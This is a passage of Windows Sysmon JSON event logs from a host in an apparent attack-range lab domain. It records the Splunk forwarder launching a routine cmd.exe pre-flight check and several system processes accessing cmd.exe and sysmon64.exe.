{90617006-407C-5F2D-0000-001072270500}\r\nProcessId: 2664\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.272","ProcessGuid":"{90617006-407C-5F2D-0000-001072270500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001072270500}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001072270500}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001072270500}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001072270500}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397b